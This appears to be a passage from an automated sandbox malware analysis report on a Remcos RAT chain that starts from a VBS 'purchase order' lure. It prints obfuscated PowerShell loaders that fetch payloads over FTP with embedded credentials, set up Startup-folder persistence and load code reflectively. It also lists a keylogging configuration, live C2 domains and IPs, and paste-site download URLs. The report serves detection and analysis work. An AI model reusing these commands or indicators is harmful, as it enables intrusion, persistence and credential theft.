+ [char]66 + 'MAEwAR
                      Sigma detected: Potential Encoded PowerShell Patterns In CommandLine
                      Source: Process startedAuthor: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $qKKzc = 'Ow' + [char]66 + '9ADsAKQAgACkAIAAnAEQAMQ' + [char]66 + 'EACAARAAnACAALAAgAFgAUA' + [char]66 + 'VAHUAaAAkACAALAAgACcAaA' + [char]66 + '0AHQAcA' + [char]66 + 'zADoALwAvAHMAaQ' + [char]66 + 'tAG8Abg' + [char]66 + 'hAHMAdA' + [char]66 + 'vAGwAZQ' + [char]66 + 'yAGMAaQ' + [char]66 + '1AGMALg' + [char]66 + 'yAG8ALw' + [char]66 + 'pAG0AYQ' + [char]66 + 'nAGUAcwAvAHMAZQ' + [char]66 + 'yAHYAZQ' + [char]66 + 'yAC4AdA' + [char]66 + '4AHQAJwAgACgAIA' + [char]66 + 'dAF0AWw' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIAbw' + [char]66 + 'bACAALAAgAGwAbA' + [char]66 + '1AG4AJAAgACgAZQ' + [char]66 + 'rAG8Adg' + [char]66 + 'uAEkALgApACAAJw' + [char]66 + 'JAFYARg' + [char]66 + 'yAHAAJwAgACgAZA' + [char]66 + 'vAGgAdA' + [char]66 + 'lAE0AdA' + [char]66 + 'lAEcALgApACcAMQ' + [char]66 + 'zAHMAYQ' + [char]66 + 'sAEMALgAzAHkAcg' + [char]66 + 'hAHIAYg' + [char]66 + 'pAEwAcw' + [char]66 + 'zAGEAbA' + [char]66 + 'DACcAKA' + [char]66 + 'lAHAAeQ' + [char]66 + 'UAHQAZQ' + [char]66 + 'HAC4AKQAgAFoAYw' + [char]66 + 'CAGMAYQAkACAAKA' + [char]66 + 'kAGEAbw' + [char]66 + 'MAC4Abg' + [char]66 + 'pAGEAbQ' + [char]66 + 'vAEQAdA' + [char]66 + 'uAGUAcg' + [char]66 + 'yAHUAQwA6ADoAXQ' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + 'wAHAAQQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAOwApACAAKQAgACcAQQAnACAALAAgACcAkyE6AJMhJwAgACgAZQ' + [char]66 + 'jAGEAbA' + [char]66 + 'wAGUAUgAuAGcAUw' + [char]66 + '6AEMAQg' + [char]66 + 'sACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TADQANg' + [char]66 + 'lAHMAYQ' + [char]66 + 'CAG0Abw' + [char]66 + 'yAEYAOgA6AF0AdA' + [char]66 + 'yAGUAdg' + [char]66 + 'uAG8AQwAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAA9ACAAWg' + [char]66 + 'jAEIAYw' + [char]66 + 'hACQAIA' + [char]66 + 'dAF0AWw' + [char]66 + 'lAHQAeQ' + [char]66 + 'CAFsAOwAnACUASQ' + [char]66 + 'oAHEAUg' + [char]66 + 'YACUAJwAgAD0AIA' + [char]66 + 'YAFAAVQ' + [char]66 + '1AGgAJAA7ACkAIA' + [char]66 + 'nAFMAeg' + [char]66 + 'DAEIAbAAkACAAKA' + [char]66 + 'nAG4AaQ' + [char]66 + 'yAHQAUw' + [char]66 + 'kAGEAbw' + [char]66 + 'sAG4Adw' + [char]66 + 'vAEQALg' + [char]66 + 'sAGsAeA' + [char]66 + 'iAHoAJAAgAD0AIA' + [char]66 + 'nAFMAeg' + [char]66 + 'DAEIAbAAkADsAOA' + [char]66 + 'GAFQAVQA6ADoAXQ' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + '0AHgAZQ' + [char]66 + 'UAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + 'sAGsAeA' + [char]66 + 'iAHoAJAA7ACkAdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAFcALg' + [char]66 + '0AGUATgAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AKAAgAD0AIA' + [char]66 + 'sAGsAeA' + [char]66 + 'iAHoAJAA7ACkAKA' + [char]66 + 'lAHMAbw' + [char]66 + 'wAHMAaQ' + [char]66 + 'kAC4AbA' + [char]66 + 'rAHgAYg' + [char]66 + '6ACQAOwApACAAJw' + [char]66 + '0AHgAdAAuADEAMA' + [char]66 + 'MAEwAR
                      Sigma detected: PowerShell Script Dropped Via PowerShell.EXE
                      Source: File createdAuthor: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3700, TargetFilename: C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\x2.ps1

                      Persistence and Installation Behavior

                      barindex
                      Sigma detected: Copy file to startup via Powershell
                      Source: Process startedAuthor: Joe Security: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $JwrAL = $host.Version.Major.Equals(2) ;if ( $JwrAL ) {$uVHrT = [System.IO.Path]::GetTempPath();del ( $uVHrT + '\Upwin.msu' );$FaqoI = 'https://drive.google.com/uc?export=download&id=';$jwEmr = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $jwEmr ) {$FaqoI = ($FaqoI + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$FaqoI = ($FaqoI + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$nqpmf = (New-Object Net.WebClient);$nqpmf.Encoding = [System.Text.Encoding]::UTF8;$nqpmf.DownloadFile($URLKB, $uVHrT + '\Upwin.msu');$MYnKZ = ('C:\Users\' + [Environment]::UserName );RiWcG = ($uVHrT + '\Upwin.msu'); powershell.exe wusa.exe RiWcG /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs' -Destination ( $MYnKZ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$zbxkl = (New-Object Net.WebClient);$zbxkl.Encoding = [System.Text.Encoding]::UTF8;$zbxkl.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $zbxkl.DownloadString( 'ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter/01/DLL01.txt' );$zbxkl.dispose();$zbxkl = (New-Object Net.WebClient);$zbxkl.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $zbxkl.DownloadString( $lBCzSg );$huUPX = 'C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '?:?' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.revres/segami/or.cuicrelotsanomis//:sptth' , $huUPX , 'D D1D' ) );};", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $JwrAL = $host.Version.Major.Equals(2) ;if ( $JwrAL ) {$uVHrT = [System.IO.Path]::GetTempPath();del ( $uVHrT + '\Upwin.msu' );$FaqoI = 'https://drive.google.com/uc?export=download&id=';$jwEmr = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $jwEmr ) {$FaqoI = ($FaqoI + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$FaqoI = ($FaqoI + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$nqpmf = (New-Object Net.WebClient);$nqpmf.Encoding = [System.Text.Encoding]::UTF8;$nqpmf.DownloadFile($URLKB, $uVHrT + '\Upwin.msu');$MYnKZ = ('C:\Users\' + [Environment]::UserName );RiWcG = ($uVHrT + '\Upwin.msu'); powershell.exe wusa.exe RiWcG /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs' -Destination ( $MYnKZ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net

                      Stealing of Sensitive Information

                      barindex
                      Sigma detected: Remcos
                      Source: File createdAuthor: Joe Security: Data: EventID: 11, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe, ProcessId: 7796, TargetFilename: C:\ProgramData\remcos\logs.dat

                      Suricata Signatures

                      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                      2024-10-07T07:10:15.145911+020020204231Exploit Kit Activity Detected85.120.16.93443192.168.2.649771TCP
                      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                      2024-10-07T07:10:15.145911+020020204251Exploit Kit Activity Detected85.120.16.93443192.168.2.649771TCP
                      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                      2024-10-07T07:10:30.975625+020020365941Malware Command and Control Activity Detected192.168.2.652599172.111.244.1003981TCP
                      2024-10-07T07:10:42.454231+020020365941Malware Command and Control Activity Detected192.168.2.652670172.111.244.1003981TCP
                      2024-10-07T07:10:53.876283+020020365941Malware Command and Control Activity Detected192.168.2.652720172.111.244.1003981TCP
                      2024-10-07T07:11:06.018099+020020365941Malware Command and Control Activity Detected192.168.2.652723172.111.244.1003981TCP
                      2024-10-07T07:11:17.523275+020020365941Malware Command and Control Activity Detected192.168.2.652726172.111.244.1003981TCP
                      2024-10-07T07:11:28.969992+020020365941Malware Command and Control Activity Detected192.168.2.652728172.111.244.1003981TCP
                      2024-10-07T07:11:40.843313+020020365941Malware Command and Control Activity Detected192.168.2.652731172.111.244.1003981TCP
                      2024-10-07T07:11:52.517471+020020365941Malware Command and Control Activity Detected192.168.2.652733172.111.244.1003981TCP
                      2024-10-07T07:12:04.051725+020020365941Malware Command and Control Activity Detected192.168.2.652735172.111.244.1003981TCP
                      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                      2024-10-07T07:10:20.359884+020020327761Malware Command and Control Activity Detected192.168.2.652535192.169.69.263980TCP
                      2024-10-07T07:10:32.106993+020020327761Malware Command and Control Activity Detected192.168.2.652605192.169.69.263980TCP
                      2024-10-07T07:10:43.588971+020020327761Malware Command and Control Activity Detected192.168.2.652682192.169.69.263980TCP
                      2024-10-07T07:10:55.011170+020020327761Malware Command and Control Activity Detected192.168.2.652721192.169.69.263980TCP
                      2024-10-07T07:11:07.151239+020020327761Malware Command and Control Activity Detected192.168.2.652724192.169.69.263980TCP
                      2024-10-07T07:11:18.635609+020020327761Malware Command and Control Activity Detected192.168.2.652727192.169.69.263980TCP
                      2024-10-07T07:11:30.221479+020020327761Malware Command and Control Activity Detected192.168.2.652729192.169.69.263980TCP
                      2024-10-07T07:11:41.979585+020020327761Malware Command and Control Activity Detected192.168.2.652732192.169.69.263980TCP
                      2024-10-07T07:11:53.650716+020020327761Malware Command and Control Activity Detected192.168.2.652734192.169.69.263980TCP
                      2024-10-07T07:12:05.181806+020020327761Malware Command and Control Activity Detected192.168.2.652736192.169.69.263980TCP
                      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                      2024-10-07T07:10:13.388413+020028033053Unknown Traffic192.168.2.649763188.114.96.3443TCP
                      2024-10-07T07:10:17.406903+020028033053Unknown Traffic192.168.2.649790188.114.96.3443TCP
                      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                      2024-10-07T07:10:07.873545+020028410751Malware Command and Control Activity Detected192.168.2.649725188.114.96.3443TCP
                      2024-10-07T07:10:13.388413+020028410751Malware Command and Control Activity Detected192.168.2.649763188.114.96.3443TCP
                      2024-10-07T07:10:17.406903+020028410751Malware Command and Control Activity Detected192.168.2.649790188.114.96.3443TCP

                      Joe Sandbox Signatures

                      Click to jump to signature section

                      Show All Signature Results

                      AV Detection

                      barindex
                      Found malware configuration
                      Source: 0000001C.00000002.2498769602.0000000000CC8000.00000004.00000020.00020000.00000000.sdmpMalware Configuration Extractor: Remcos {"Host:Port:Password": "2harbu03.duckdns.org:3980:0janbours92harbu04.duckdns.org:3981:1janbours92harbu007.duckdns.org:3981:1", "Assigned name": "MANIFESTATIONS", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Enable", "Hide file": "Disable", "Mutex": "Rmc-NACZDT", "Keylog flag": "1", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Enable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5"}
                      Multi AV Scanner detection for domain / URL
                      Source: janbours92harbu04.duckdns.orgVirustotal: Detection: 6%Perma Link
                      Source: desckvbrat.com.brVirustotal: Detection: 7%Perma Link
                      Source: janbours92harbu03.duckdns.orgVirustotal: Detection: 9%Perma Link
                      Source: ftp.desckvbrat.com.brVirustotal: Detection: 8%Perma Link
                      Source: http://ftp.desckvbrat.com.brVirustotal: Detection: 8%Perma Link
                      Source: http://desckvbrat.com.brVirustotal: Detection: 7%Perma Link
                      Source: https://pastebin.com/raw/pQQ0n3eAVirustotal: Detection: 5%Perma Link
                      Yara detected Remcos RAT
                      Source: Yara matchFile source: 13.2.powershell.exe.20b6fc69a78.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 22.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 20.2.powershell.exe.2a61f81adc8.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 22.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 25.2.powershell.exe.1425f089f00.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 13.2.powershell.exe.20b6fc69a78.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 25.2.powershell.exe.1425f089f00.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 20.2.powershell.exe.2a61f81adc8.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0000001C.00000002.2498769602.0000000000CC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000011.00000002.3436354467.0000000000BD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000000D.00000002.2573017500.0000020B6F6D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000016.00000002.2408800812.0000000000FC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000011.00000002.3438933111.00000000028BF000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000014.00000002.2640881917.000002A61F4F2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000000D.00000002.2573017500.0000020B6FAC2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000019.00000002.2865279267.000001425ED61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 7572, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: AddInProcess32.exe PID: 7796, type: MEMORYSTR
                      Source: Yara matchFile source: C:\ProgramData\remcos\logs.dat, type: DROPPED
                      AI detected suspicious sample
                      Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_004338C8 CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,22_2_004338C8
                      Source: powershell.exe, 0000000D.00000002.2573017500.0000020B6F6D1000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: -----BEGIN PUBLIC KEY-----memstr_9f83f1fa-4

                      Exploits

                      barindex
                      Yara detected UAC Bypass using CMSTP
                      Source: Yara matchFile source: 13.2.powershell.exe.20b6fc69a78.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 22.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 20.2.powershell.exe.2a61f81adc8.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 22.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 25.2.powershell.exe.1425f089f00.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 13.2.powershell.exe.20b6fc69a78.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 25.2.powershell.exe.1425f089f00.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 20.2.powershell.exe.2a61f81adc8.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0000000D.00000002.2573017500.0000020B6F6D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000014.00000002.2640881917.000002A61F4F2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000000D.00000002.2573017500.0000020B6FAC2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000019.00000002.2865279267.000001425ED61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 7572, type: MEMORYSTR

                      Privilege Escalation

                      barindex
                      Contains functionality to bypass UAC (CMSTPLUA)
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_00407538 _wcslen,CoGetObject,22_2_00407538
                      Source: unknownHTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49725 version: TLS 1.2
                      Source: unknownHTTPS traffic detected: 85.120.16.93:443 -> 192.168.2.6:49771 version: TLS 1.2
                      Source: unknownHTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.6:52528 version: TLS 1.2
                      Source: unknownHTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.6:52562 version: TLS 1.2
                      Source: unknownHTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.6:52616 version: TLS 1.2
                      Source: Binary string: F:\Source Coder Vb.net C#\crc crypter\Source code UpCry\Metodo DF\ClassLibrary3\ClassLibrary3\obj\Release\ClassLibrary3.pdb source: powershell.exe, 00000004.00000002.3114024444.000001D749E50000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D73305A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731CBF000.00000004.00000800.00020000.00000000.sdmp
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_0040928E __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,22_2_0040928E
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_0041C322 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,22_2_0041C322
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_0040C388 FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,22_2_0040C388
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_004096A0 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,22_2_004096A0
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_00408847 __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,22_2_00408847
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_00407877 FindFirstFileW,FindNextFileW,22_2_00407877
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_0044E8F9 FindFirstFileExA,22_2_0044E8F9
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_0040BB6B FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,22_2_0040BB6B
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_00419B86 FindFirstFileW,FindNextFileW,FindNextFileW,22_2_00419B86
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_0040BD72 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,22_2_0040BD72
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_00407CD2 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,22_2_00407CD2
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppDataJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.iniJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\userJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\WindowsJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\RoamingJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming\MicrosoftJump to behavior

                      Software Vulnerabilities

                      barindex
                      Suspicious execution chain found
                      Source: C:\Windows\System32\wscript.exeChild: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

                      Networking

                      barindex
                      Suricata IDS alerts for network traffic
                      Source: Network trafficSuricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.6:52535 -> 192.169.69.26:3980
                      Source: Network trafficSuricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.6:52599 -> 172.111.244.100:3981
                      Source: Network trafficSuricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.6:52605 -> 192.169.69.26:3980
                      Source: Network trafficSuricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.6:52682 -> 192.169.69.26:3980
                      Source: Network trafficSuricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.6:52723 -> 172.111.244.100:3981
                      Source: Network trafficSuricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.6:52732 -> 192.169.69.26:3980
                      Source: Network trafficSuricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.6:52729 -> 192.169.69.26:3980
                      Source: Network trafficSuricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.6:52726 -> 172.111.244.100:3981
                      Source: Network trafficSuricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.6:52720 -> 172.111.244.100:3981
                      Source: Network trafficSuricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.6:52734 -> 192.169.69.26:3980
                      Source: Network trafficSuricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.6:52727 -> 192.169.69.26:3980
                      Source: Network trafficSuricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.6:52735 -> 172.111.244.100:3981
                      Source: Network trafficSuricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.6:52670 -> 172.111.244.100:3981
                      Source: Network trafficSuricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.6:52731 -> 172.111.244.100:3981
                      Source: Network trafficSuricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.6:52721 -> 192.169.69.26:3980
                      Source: Network trafficSuricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.6:52724 -> 192.169.69.26:3980
                      Source: Network trafficSuricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.6:52728 -> 172.111.244.100:3981
                      Source: Network trafficSuricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.6:52733 -> 172.111.244.100:3981
                      Source: Network trafficSuricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.6:52736 -> 192.169.69.26:3980
                      Source: Network trafficSuricata IDS: 2841075 - Severity 1 - ETPRO MALWARE Terse Request to paste .ee - Possible Download : 192.168.2.6:49725 -> 188.114.96.3:443
                      Source: Network trafficSuricata IDS: 2841075 - Severity 1 - ETPRO MALWARE Terse Request to paste .ee - Possible Download : 192.168.2.6:49763 -> 188.114.96.3:443
                      Source: Network trafficSuricata IDS: 2020423 - Severity 1 - ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 1 M1 : 85.120.16.93:443 -> 192.168.2.6:49771
                      Source: Network trafficSuricata IDS: 2020425 - Severity 1 - ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 3 M1 : 85.120.16.93:443 -> 192.168.2.6:49771
                      Source: Network trafficSuricata IDS: 2841075 - Severity 1 - ETPRO MALWARE Terse Request to paste .ee - Possible Download : 192.168.2.6:49790 -> 188.114.96.3:443
                      C2 URLs / IPs found in malware configuration
                      Source: Malware configuration extractorURLs: 2harbu03.duckdns.org
                      Connects to a pastebin service (likely for C&C)
                      Source: unknownDNS query: name: paste.ee
                      Source: unknownDNS query: name: pastebin.com
                      Connects to many ports of the same IP (likely port scanning)
                      Source: global trafficTCP traffic: 191.252.83.213 ports 1,2,60863,60035,60175,21
                      Uses dynamic DNS services
                      Source: unknownDNS query: name: janbours92harbu04.duckdns.org
                      Source: unknownDNS query: name: janbours92harbu03.duckdns.org
                      Source: unknownDNS query: name: janbours92harbu007.duckdns.org
                      Yara detected Generic Downloader
                      Source: Yara matchFile source: 4.2.powershell.exe.1d731d191b0.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 13.2.powershell.exe.20b5f9cffb8.0.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 25.2.powershell.exe.1424ededb60.0.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.2.powershell.exe.1d7331435e0.0.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 20.2.powershell.exe.2a60f57db18.0.raw.unpack, type: UNPACKEDPE
                      Source: global trafficTCP traffic: 192.168.2.6:49723 -> 191.252.83.213:60175
                      Source: global trafficHTTP traffic detected: GET /d/9xfVr/0 HTTP/1.1Host: paste.eeConnection: Keep-Alive
                      Source: global trafficHTTP traffic detected: GET /d/P0BOw/0 HTTP/1.1Host: paste.ee
                      Source: global trafficHTTP traffic detected: GET /images/server.txt HTTP/1.1Host: simonastolerciuc.roConnection: Keep-Alive
                      Source: global trafficHTTP traffic detected: GET /d/FwIIK/0 HTTP/1.1Host: paste.ee
                      Source: global trafficHTTP traffic detected: GET /raw/pQQ0n3eA HTTP/1.1Host: pastebin.comConnection: Keep-Alive
                      Source: global trafficHTTP traffic detected: GET /raw/pQQ0n3eA HTTP/1.1Host: pastebin.comConnection: Keep-Alive
                      Source: global trafficHTTP traffic detected: GET /raw/pQQ0n3eA HTTP/1.1Host: pastebin.comConnection: Keep-Alive
                      Source: Joe Sandbox ViewIP Address: 172.67.19.24 172.67.19.24
                      Source: Joe Sandbox ViewIP Address: 172.67.19.24 172.67.19.24
                      Source: Joe Sandbox ViewIP Address: 188.114.96.3 188.114.96.3
                      Source: Joe Sandbox ViewIP Address: 188.114.96.3 188.114.96.3
